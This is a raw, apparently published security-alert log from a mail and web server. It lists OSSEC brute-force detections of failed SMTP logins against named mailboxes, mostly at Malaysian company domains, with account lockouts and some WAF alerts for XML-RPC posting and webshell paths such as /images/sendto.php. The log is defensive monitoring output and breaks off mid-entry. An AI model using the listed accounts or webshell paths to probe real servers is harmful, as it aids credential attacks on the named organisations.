Feb  1 01:06:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:06:09 dovecot_login authenticator failed for H=(fUNVmpEj) [178.16.54.22]:63784: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 01:06:15 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:51014: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:06:19 dovecot_login authenticator failed for H=(8uHEasBz) [185.36.81.54]:62358: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-02-01 01:06:24 dovecot_login authenticator failed for H=([103.120.116.162]) [103.120.116.162]:53672: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 111.61.175.118
country_id: 1814991
description:
Feb  1 01:07:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(111.61.175.118)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.118
country_id: 1814991
description:
2026-02-01 01:07:20 dovecot_login authenticator failed for H=([111.61.175.118]) [111.61.175.118]:62390: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:07:02 dovecot_login authenticator failed for H=(tyfNIasyo) [185.36.81.54]:49440: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 01:07:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:07:04 dovecot_login authenticator failed for H=(xlt97bfy8H) [141.98.11.48]:63546: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-02-01 01:07:11 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:9371: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:07:19 dovecot_login authenticator failed for H=(q2Y8VIP8bw) [158.94.208.215]:56160: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:07:04 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54491: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:07:19 dovecot_login authenticator failed for H=(5NpNpWLS) [178.16.54.22]:50019: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-02-01 01:08:56 dovecot_login authenticator failed for H=([221.209.48.204]) [221.209.48.203]:59302: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 01:08:44 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:53386: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:08:06 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:60553: 535 Incorrect authentication data (set_id=test@symphony-led.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 01:08:42 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:25669: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:08:04 dovecot_login authenticator failed for H=(A2FILHdDj) [141.98.11.48]:62525: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:08:13 dovecot_login authenticator failed for H=(kA7hGQ1) [185.36.81.54]:60137: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 01:08:07 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:58510: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:08:08 dovecot_login authenticator failed for H=(IQwfyOK) [178.16.54.22]:63442: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 01:08:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:08:07 dovecot_login authenticator failed for H=(tzEc0D4) [158.94.208.215]:61651: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:09:26 dovecot_login authenticator failed for H=(ZufYxwvh) [185.36.81.54]:59111: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-02-01 01:09:27 dovecot_login authenticator failed for H=([125.61.36.26]) [125.61.36.22]:44211: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:09:17 dovecot_login authenticator failed for H=(jufo2O0P) [178.16.54.22]:50323: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:09:25 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:65259: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:09:29 dovecot_login authenticator failed for H=(hI22mG8tI) [141.98.11.48]:50631: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:09:30 dovecot_login authenticator failed for H=(cXi2hnx6W) [185.36.81.54]:55304: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.201.2.253
country_id: 1814991
description:
2026-02-01 01:09:59 dovecot_login authenticator failed for H=([113.201.2.253]) [113.201.2.253]:5314: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:09:19 dovecot_login authenticator failed for H=(baqDN8) [158.94.208.215]:62121: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 01:10:12 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:47596: 535 Incorrect authentication data (set_id=tw.lee@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 01:10:22 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:54982: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:10:08 dovecot_login authenticator failed for H=(dNOX5Xh4) [185.36.81.54]:56089: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.98.147.214
country_id: 3017382
description:
2026-02-01 01:10:36 dovecot_login authenticator failed for H=ip214.ip-87-98-147.eu (ADMIN) [87.98.147.214]:40034: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 01:10:36 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:51290: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.251.197.46
country_id: 1814991
description:
2026-02-01 01:10:29 dovecot_login authenticator failed for H=([101.251.197.46]) [101.251.197.46]:56972: 535 Incorrect authentication data (set_id=tw.lee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.237.115.208
country_id: 732800
description:
2026-02-01 01:10:49 dovecot_login authenticator failed for H=(151.237.115.208.pronet.bg) [151.237.115.208]:58450: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-02-01 01:10:50 dovecot_login authenticator failed for H=(abts-north-static-104.21.176.122.airtelbroadband.in) [122.176.21.104]:35841: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:10:13 dovecot_login authenticator failed for H=(oa4dbq) [178.16.54.22]:59920: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:10:13 dovecot_login authenticator failed for H=(ibSHOdt7Sj) [141.98.11.48]:62282: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:11:20 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65063: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 01:11:44 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:44206: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:11:04 dovecot_login authenticator failed for H=(GhOFyi9) [178.16.54.22]:63196: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:11:23 dovecot_login authenticator failed for H=(eX3jFIp24s) [185.36.81.54]:62386: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:11:29 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:51815: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:11:13 dovecot_login authenticator failed for H=(T10k63) [141.98.11.48]:55704: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 01:12:02 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:42962: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:12:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49557: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:12:14 dovecot_login authenticator failed for H=(yn8rhF) [178.16.54.22]:61226: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:12:16 dovecot_login authenticator failed for H=(kLP4BWshxT) [185.36.81.54]:58389: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:12:35 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:12:36 dovecot_login authenticator failed for H=(UkqP62q) [141.98.11.48]:53356: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 01:13:51 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:36651: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:13:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50931: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:13:11 dovecot_login authenticator failed for H=(EgXMPbig) [141.98.11.48]:61180: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:13:42 dovecot_login authenticator failed for H=(KhtnRixnl2) [185.36.81.54]:65466: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:13:48 dovecot_login authenticator failed for H=(M3c5LCO9) [178.16.54.22]:62677: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:13:09 dovecot_login authenticator failed for H=(uQwq2HbWZd) [185.36.81.54]:59487: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:13:46 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:14:13 dovecot_login authenticator failed for H=(ixKKwQ) [178.16.54.22]:52992: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.51
country_id: 2921044
description:
2026-02-01 01:14:30 dovecot_plain authenticator failed for H=([178.16.52.51]) [178.16.52.51]:56492: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.202
country_id: 1269750
description:
2026-02-01 01:14:03 dovecot_login authenticator failed for H=([182.95.123.202]) [182.95.123.202]:55272: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 01:14:05 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:59916: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:14:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:14:04 dovecot_login authenticator failed for H=(VNyMMkLZ) [185.36.81.54]:56987: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.147.254.185
country_id: 1835841
description:
2026-02-01 01:14:12 dovecot_login authenticator failed for H=([121.147.254.185]) [121.147.254.185]:34188: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.145.10.140
country_id: 6252001
description:
2026-02-01 01:15:11 dovecot_plain authenticator failed for H=c-76-145-10-140.hsd1.ga.comcast.net (badis) [76.145.10.140]:44658: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.23.125.83
country_id: 6252001
description:
2026-02-01 01:15:17 dovecot_plain authenticator failed for H=c-24-23-125-83.hsd1.pa.comcast.net (comon) [24.23.125.83]:40802: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.235.233
country_id: 1269750
domain: lvconsult.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:98393.lvconsult.com.my||ServerName:lvconsult.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4c230de0e289d2c5f9d437e2db90e16de867423e||Title:0x42ccabc7||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.51
country_id: 2921044
description:
2026-02-01 01:15:07 dovecot_plain authenticator failed for H=([178.16.52.51]) [178.16.52.51]:50825: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:15:02 dovecot_login authenticator failed for H=(q3AVrXd7oS) [185.36.81.54]:53600: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:15:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:15:04 dovecot_login authenticator failed for H=(egz1wkM) [178.16.54.22]:62119: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 01:15:26 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:35484: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: nmahir.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/sendto.php||SC:/home/nmahirc/public_html/images/sendto.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-02-01 01:15:13 dovecot_login authenticator failed for H=([221.209.48.204]) [221.209.48.203]:48138: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 01:16:12 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:53832: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:16:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:16:18 dovecot_login authenticator failed for H=(SAW28DM) [178.16.54.22]:54894: 535 Incorrect authentication data (set_id=mckd)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: nmahir.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/nmahirc/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:16:26 dovecot_login authenticator failed for H=(Gk7SavyDX) [185.36.81.54]:55832: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:17:12 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:55010: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.219.113.61
country_id: 1814991
description:
2026-02-01 01:17:18 dovecot_login authenticator failed for H=([60.219.113.61]) [60.219.113.61]:53110: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:17:52 dovecot_login authenticator failed for H=(Ih5SUTpB) [178.16.54.22]:58332: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 01:17:49 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:15856: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:18:00 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55878: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:17:12 dovecot_login authenticator failed for H=(FMUM8TYMbL) [185.36.81.54]:54669: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.245.182
country_id: 1269750
description:
2026-02-01 01:17:35 dovecot_login authenticator failed for H=([152.52.234.134]) [125.20.245.182]:38048: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 01:17:39 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:39196: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:18:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55703: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:18:11 dovecot_login authenticator failed for H=(dluqljse) [185.36.81.54]:49337: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:18:21 dovecot_login authenticator failed for H=(vZDMkM) [178.16.54.22]:65379: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:18:38 dovecot_login authenticator failed for H=(inezFAhSg) [185.36.81.54]:49172: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:18:53 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:49616: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.118.107.125
country_id: 1814991
description:
2026-02-01 01:18:59 dovecot_login authenticator failed for H=([111.206.233.34]) [123.118.107.125]:32810: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:19:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50176: 535 Incorrect authentication data (set_id=testing@mamstg.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.184.1.179
country_id: 2510769
description:
2026-02-01 01:19:09 dovecot_login authenticator failed for H=179.1.184.185.dynamic.electronicamartinez.es [185.184.1.179]:60718: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:19:10 dovecot_login authenticator failed for H=(AE1CJMgSKb) [185.36.81.54]:63730: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:19:12 dovecot_login authenticator failed for H=(Y6waiAznjj) [178.16.54.22]:50215: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.152.61
country_id: 6252001
description:
2026-02-01 01:19:35 dovecot_login authenticator failed for H=(c-50-187-152-61.unallocated.comcastbusiness.net) [50.187.152.61]:54632: 535 Incorrect authentication data (set_id=contato@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.161.96.107
country_id: 6252001
description:
2026-02-01 01:19:44 dovecot_plain authenticator failed for H=c-73-161-96-107.hsd1.mi.comcast.net (urobase) [73.161.96.107]:35472: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.79.112
country_id: 1814991
description:
2026-02-01 01:19:51 dovecot_login authenticator failed for H=([111.26.79.112]) [111.26.79.112]:49002: 535 Incorrect authentication data (set_id=contato)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:20:21 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:53496: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:20:42 dovecot_login authenticator failed for H=(wTDA7c2) [178.16.54.22]:58255: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.108.162.24
country_id: 3469034
description:
2026-02-01 01:20:56 dovecot_login authenticator failed for H=([131.108.162.24]) [131.108.162.24]:59152: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:20:07 dovecot_login authenticator failed for H=(QjFNmFfF3u) [185.36.81.54]:50101: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:21:31 dovecot_login authenticator failed for H=(6RKEgeKOf) [185.36.81.54]:49219: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:21:05 dovecot_login authenticator failed for H=(SeszNGQg) [178.16.54.22]:54332: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.168.210.53
country_id: 6252001
description:
2026-02-01 01:21:08 dovecot_login authenticator failed for H=([166.168.210.53]) [166.168.210.53]:36329: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 01:22:41 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:35764: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:22:06 dovecot_login authenticator failed for H=(bdbxRy) [185.36.81.54]:50948: 535 Incorrect authentication data (set_id=stacy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:22:19 dovecot_login authenticator failed for H=(dJtWHp4bG4) [178.16.54.22]:62467: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13006
